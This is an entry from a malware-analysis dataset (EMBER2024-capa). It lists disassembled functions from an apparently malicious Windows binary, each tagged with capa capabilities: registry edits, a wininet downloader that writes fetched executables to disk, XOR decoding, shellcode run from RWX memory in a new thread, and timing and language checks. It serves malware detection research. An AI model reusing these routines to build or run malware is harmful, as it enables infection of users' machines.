joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400082bc
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rsi, rdx
lea rax, [0x140096790]
mov rdi, r8
mov rbx, rcx
lea rdx, [0x1400967a0]
cmovne rdx, rax
lea rax, [r11 + 8]
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [r11 - 0x18], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea rax, [0x1400967b0]
lea rdx, [0x1400967c0]
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
cmovne rdx, rax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000837f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x40]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1400084bc
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x840
and dword [rax + 0x18], 0
and dword [rax + 0x20], 0
mov rbp, rcx
lea rcx, str.wininet.dll
mov r12d, 1
mov rbx, rdx
mov sil, r12b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov r13, rax
test rax, rax
jne 0x14000853b
test rdi, rdi
je 0x140008534
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x140008665
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x140008526
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000862c
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x800
call fcn.1400537d0
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x880]
lea rdx, [rsp + 0x40]
mov r8d, 0x800
mov rcx, rbp
call rax
test r12d, r12d
je 0x1400085ee
mov eax, 0x5a4d
cmp word [rsp + 0x40], ax
jne 0x140008620
mov r8d, dword [rsp + 0x880]
lea r9, [rsp + 0x888]
lea rdx, [rsp + 0x40]
xor r12d, r12d
mov rcx, rbx
and qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x880], r12d
jbe 0x140008623
jmp 0x1400085a3
xor sil, sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x140008662
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, sil
mov rbx, qword [rsp + 0x870]
add rsp, 0x840
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000867c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000869a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x14000869a
xor eax, eax
jmp 0x14000869f
mov eax, 1
add rsp, 0x28
ret
Function at 0x14000945c
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdx, qword [rcx]
mov r10d, dword [rcx + 0x68]
mov r12d, 1
movzx eax, word [rdx + 0x14]
mov rsi, qword [rdx + 0x30]
sub r10, r12
lea r8, [rax + rdx + 0x18]
movabs rax, 0xffffffff00000000
not r10
mov r11d, dword [r8 + 8]
and rsi, rax
mov eax, dword [r8 + 0x10]
or r11, rsi
xor ebx, ebx
mov r13, rcx
and r10, r11
mov qword [rbp + 0x30], rsi
mov qword [rbp - 0x20], r11
mov qword [rbp - 0x18], r10
test eax, eax
jne 0x1400094e1
test byte [r8 + 0x24], 0x40
je 0x1400094d7
mov eax, dword [rdx + 0x20]
jmp 0x1400094e1
test byte [r8 + 0x24], 0x80
je 0x1400094e1
mov eax, dword [rdx + 0x24]
mov ecx, dword [r8 + 0x24]
mov r9d, eax
mov dword [rbp - 4], ebx
mov qword [rbp - 0x10], r9
mov r14d, r12d
mov dword [rbp - 8], ecx
cmp r12w, word [rdx + 6]
jae 0x1400095ba
lea rdi, [r8 + 0x4c]
mov r15d, dword [rdi - 0x1c]
mov eax, dword [rdi - 0x14]
or r15, rsi
mov esi, dword [r13 + 0x68]
sub rsi, r12
not rsi
and rsi, r15
test eax, eax
jne 0x140009531
test byte [rdi], 0x40
je 0x140009529
mov eax, dword [rdx + 0x20]
jmp 0x140009531
test byte [rdi], 0x80
je 0x140009531
mov eax, dword [rdx + 0x24]
mov r12d, eax
cmp r10, rsi
je 0x14000956b
lea rax, [r9 + r11]
cmp rax, rsi
ja 0x14000956b
lea rdx, [rbp - 0x20]
mov rcx, r13
call fcn.14000939c
test eax, eax
je 0x1400095b6
mov ecx, dword [rdi]
mov r11, r15
mov qword [rbp - 0x20], r15
mov r10, rsi
mov qword [rbp - 0x18], rsi
mov r9d, r12d
mov qword [rbp - 0x10], r12
jmp 0x140009590
mov eax, dword [rdi]
bt eax, 0x19
jae 0x14000957d
bt ecx, 0x19
jae 0x14000957d
or ecx, eax
jmp 0x140009583
or ecx, eax
btr ecx, 0x19
mov r9, r12
sub r9, r11
add r9, r15
mov qword [rbp - 0x10], r9
mov rdx, qword [r13]
mov r12d, 1
add rdi, 0x28
movzx eax, word [rdx + 6]
add r14d, r12d
mov dword [rbp - 8], ecx
cmp r14d, eax
jge 0x1400095ba
mov rsi, qword [rbp + 0x30]
jmp 0x140009504
xor eax, eax
jmp 0x1400095d1
lea rdx, [rbp - 0x20]
mov rcx, r13
mov dword [rbp - 4], r12d
call fcn.14000939c
test eax, eax
setne bl
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14000a51c
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
lea rcx, [r12 + 0x138]
mov eax, r14d
xchg dword [r12 + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.14005061c
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.14004fa50
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
add r11d, 8
add rcx, 8
lea edi, [r14 + 1]
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
movzx r8d, si
mov r9d, edi
mov rdx, rbp
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [r12 + 0x380]
mov edx, 0xfa0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000a636
cmp eax, 0x102
je 0x14000a624
cmp eax, 0xffffffff
jne 0x14000a632
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x14000a69c
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [r12 + 0x140]
sub rcx, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rcx
divsd xmm0, qword [0x1400977a0]
mov ecx, edi
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
xchg dword [r12 + 0x150], ecx
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
ret

Function at 0x14000b454
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
call fcn.14000b100
xor r11d, r11d
lea r8, [0x140000000]
mov rcx, r11
movabs rax, 0xe38e38e38e38e38f
mul r11
inc r11
shr rdx, 3
lea rax, [rdx + rdx*8]
sub rcx, rax
mov al, byte [rcx + r8 + 0xbd0d0]
xor byte [r11 + r8 + 0xb046f], al
cmp r11, 0xcc57
jb 0x14000b467
add rsp, 0x28
ret
Function at 0x14000b4a4
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
call fcn.14000b454
call fcn.14000b100
mov ebx, 0xcc57
mov ecx, ebx
call fcn.140050534
lea rdx, [0x1400b0470]
mov r8d, ebx
mov rcx, rax
mov rdi, rax
call fcn.14004fa50
call fcn.14000b100
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.14000b100
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14000b54e
mov rcx, rdi
call fcn.140050980
lea rdx, [0x140096328]
lea rcx, [0x1400b0140]
call fcn.14000efec
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.14000c340
mov rcx, rbx
call fcn.1400053a4
jmp 0x14000b56b
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.140050980
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14000b578
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
push rbp
lea rbp, [rsp - 0x13e0]
mov eax, 0x14e0
call fcn.140053ab0
sub rsp, rax
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x1500], rbx
mov qword [rsp + 0x1508], rdi
mov rdi, rcx
xor ebx, ebx
mov dword [rbp + 0x13f8], ebx
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x30], rbx
mov byte [rsp + 0x20], bl
xor r8d, r8d
lea rdx, [0x140096321]
lea rcx, [rsp + 0x20]
call fcn.14000e9a0
nop
call fcn.14007b164
nop
cmp qword [rsp + 0x38], 0x10
jb 0x14000b5f6
mov rcx, qword [rsp + 0x20]
call fcn.14004fa30
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x30], rbx
mov byte [rsp + 0x20], bl
call fcn.14007b164
or dword [rbp + 0x13d4], 0xffffffff
mov dword [rbp + 0x54], eax
mov edx, 1
mov r8d, edx
mov r9d, 0x270
mov ecx, eax
shr ecx, 0x1e
xor eax, ecx
imul eax, eax, 0x6c078965
add eax, r8d
mov dword [rbp + rdx*4 + 0x54], eax
inc r8d
inc rdx
cmp rdx, r9
jl 0x14000b625
mov dword [rbp + 0x50], r9d
call fcn.14000b100
lea rcx, [rsp + 0x50]
call fcn.14000c720
nop
xor edx, edx
lea r8d, [rdx + 0xf]
lea rcx, [rbp + 0x50]
call fcn.14000fb50
lea r8d, [rax + 0x30]
lea ecx, [rax + 0x57]
movzx edx, cl
movzx ecx, r8b
cmp eax, 0xa
cmovl edx, ecx
lea rcx, [rsp + 0x60]
call fcn.14000f220
cmp ebx, 7
je 0x14000b699
cmp ebx, 0xb
je 0x14000b699
cmp ebx, 0xf
je 0x14000b699
cmp ebx, 0x13
jne 0x14000b6a5
mov dl, 0x2d
lea rcx, [rsp + 0x60]
call fcn.14000f220
inc ebx
cmp ebx, 0x20
jl 0x14000b658
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.14000c838
mov dword [rbp + 0x13f8], 1
lea rcx, [rbp - 0x18]
call fcn.14000c7bc
lea r11, vtable.std::ios_base.0
mov qword [rbp - 0x18], r11
lea rcx, [rbp - 0x18]
call fcn.14007b118
mov rax, rdi
lea r11, [rsp + 0x14e0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000bed0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
call fcn.14000b100
lea rcx, [0x1400963b8]
call fcn.140052518
call fcn.140052530
mov r11d, eax
mov eax, 0x30c30c31
imul r11d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x15
sub r11d, edx
imul r11d, r11d, 0x1770
movsxd rcx, r11d
call fcn.14000afe4
call fcn.14000b100
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x14000b150]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.14000b100
test rbx, rbx
jne 0x14000bf74
lea rdx, [0x1400963c8]
lea rcx, [0x1400b0140]
call fcn.14000efec
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.14000c340
mov rcx, rbx
add rsp, 0x30
pop rbx
jmp fcn.1400053a4
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000b100
add rsp, 0x30
pop rbx
jmp fcn.14000b100

Function at 0x14000bf98
Capabilities:
Identify system language via api

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
movzx r11d, ax
mov eax, 0x3ff
and r11w, ax
cmp r11w, 4
sete al
add rsp, 0x28
ret
Function at 0x14000d118
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov esi, edx
mov rdi, rcx
or ebx, 0xffffffff
cmp edx, ebx
jne 0x14000d148
xor eax, eax
jmp 0x14000d357
mov rdx, qword [rcx + 0x48]
cmp qword [rdx], 0
je 0x14000d17b
mov rcx, qword [rcx + 0x60]
movsxd rax, dword [rcx]
add rax, qword [rdx]
cmp qword [rdx], rax
jae 0x14000d17b
add dword [rcx], ebx
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov byte [rdx], sil
mov eax, esi
jmp 0x14000d357
cmp qword [rdi + 0x98], 0
je 0x14000d355
mov rdx, qword [rdi + 0x20]
lea rax, [rdi + 0x88]
cmp qword [rdx], rax
jne 0x14000d1b3
mov rcx, qword [rdi + 0x78]
mov rax, qword [rdi + 0x70]
mov qword [rdx], rax
mov rax, qword [rdi + 0x40]
mov qword [rax], rcx
sub ecx, ecx
mov rax, qword [rdi + 0x58]
mov dword [rax], ecx
cmp qword [rdi + 0x80], 0
jne 0x14000d1d7
movsx ecx, sil
mov rdx, qword [rdi + 0x98]
call fcn.14005211c
cmp eax, ebx
cmovne ebx, esi
jmp 0x14000d355
mov byte [rbp + 0x38], sil
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea eax, [rdx - 7]
cmp al, 0xfe
jbe 0x14000d201
lea rcx, str.string_too_long
call fcn.140079f04
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
add rdx, qword [rbp - 0x18]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x39]
lea r8, [rbp + 0x38]
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x28]
test eax, eax
js 0x14000d345
cmp eax, 1
jg 0x14000d329
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov r12, qword [rbp + 0x40]
sub r12, rax
je 0x14000d2ce
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x98]
mov r8, r12
mov edx, 1
call fcn.140050b14
cmp r12, rax
jne 0x14000d305
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
mov byte [rdi + 0x89], 1
lea rax, [rbp + 0x38]
cmp qword [rbp + 0x48], rax
jne 0x14000d312
test r12, r12
jne 0x14000d222
cmp qword [rbp - 0x18], 0x20
jae 0x14000d307
xor r8d, r8d
lea edx, [r12 + 8]
lea rcx, [rbp - 0x28]
call fcn.14000521c
jmp 0x14000d21a
jmp 0x14000d345
cmp r10, 0x10
jb 0x14000d355
mov rcx, r9
jmp 0x14000d350
cmp r10, 0x10
jb 0x14000d174
mov rcx, r9
call fcn.14004fa30
jmp 0x14000d174
cmp eax, 3
jne 0x14000d345
movsx ecx, byte [rbp + 0x38]
mov rdx, qword [rdi + 0x98]
call fcn.14005211c
cmp eax, ebx
cmovne ebx, esi
jmp 0x14000d345
cmp qword [rbp - 0x10], 0x10
jb 0x14000d355
mov rcx, qword [rbp - 0x28]
call fcn.14004fa30
mov eax, ebx
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000fc98
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov r8d, 0x270
mov rbx, rcx
cmp dword [rcx], r8d
jne 0x14000fcea
lea r9, [rcx + 8]
mov edx, dword [r9 - 4]
xor edx, dword [r9]
btr edx, 0x1f
xor edx, dword [r9 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
add r9, 4
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x62c]
xor ecx, edx
dec r8
mov dword [r9 + 0x9b8], ecx
jne 0x14000fcb0
jmp 0x14000fcf7
cmp dword [rcx], 0x4e0
jb 0x14000fcf7
call fcn.14000fd38
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov eax, dword [rbx + 0x1384]
mov ecx, edx
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x14000fd38
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r9, rcx
lea r10, [rcx + 0x9c4]
mov r11d, 0xe3
mov edx, dword [r10 + 4]
xor edx, dword [r10]
btr edx, 0x1f
xor edx, dword [r10]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
add r10, 4
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
dec r11
mov dword [r10 - 0x9c4], ecx
jne 0x14000fd48
lea r10, [r9 + 0xd50]
mov r11d, 0x18c
mov edx, dword [r10 + 4]
xor edx, dword [r10]
btr edx, 0x1f
xor edx, dword [r10]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
add r10, 4
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
dec r11
mov dword [r10 - 0x9c4], ecx
jne 0x14000fd8c
mov edx, dword [r9 + 0x1380]
xor edx, dword [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
and dword [r9], r11d
ret
Function at 0x140019480
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140029720
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140019490
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140029750
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140020930
Capabilities:
Create thread
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov ebx, edx
mov rdi, rcx
test edx, edx
jne 0x140020948
lea ebx, [rdx - 2]
jmp 0x14002094a
jns 0x14002095c
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
imul ebx, dword [rsp + 0x40]
neg ebx
mov r8d, dword [rdi + 0x54]
mov edx, ebx
mov rcx, rdi
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
jmp fcn.14001dd90

Function at 0x140021630
Capabilities:
Terminate thread

Disassembly:
push rbx
push rdi
sub rsp, 0x28
cmp qword [rcx + 0x70], 0
mov edi, edx
mov rbx, rcx
je 0x14002170c
add rcx, 0x28
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test edi, edi
jne 0x140021662
mov edi, dword [rbx + 0x54]
mov r8d, edi
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x48], rbp
call fcn.14001dd90
mov esi, dword [rbx + 0x18]
dec esi
movsxd rdi, esi
js 0x1400216cd
nop
test rdi, rdi
js 0x140021713
cmp esi, dword [rbx + 0x18]
jge 0x140021713
mov rax, qword [rbx + 0x10]
lea rdx, [rsp + 0x40]
mov rbp, qword [rax + rdi*8]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rsp + 0x40], 0x103
jne 0x1400216bd
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
dec esi
dec rdi
jns 0x140021680
mov rcx, qword [rbx + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbx + 0x28]
mov qword [rbx + 0x70], 0
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov rcx, qword [rbx + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov r12, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rbx
ret
xor r9d, r9d
xor r8d, r8d
mov ecx, 0xc000008c
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_RaiseException]

Function at 0x140029540
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rdx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x700b
mov dword [rsp + 0x20], 8
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140029570
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x7010
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret
Function at 0x1400295a0
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
lea r8, [rsp + 0x38]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
add rsp, 0x28
ret

Function at 0x1400295c0
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140029720
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140029720
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x140029750
Capabilities:
Set socket configuration

Disassembly:
jmp 0x140029750
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1400297e0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x140029808
lea r9, [rsp + 0x50]
jmp 0x140029812
cmp edx, 1
jne 0x14002985b
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x1400298ae
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret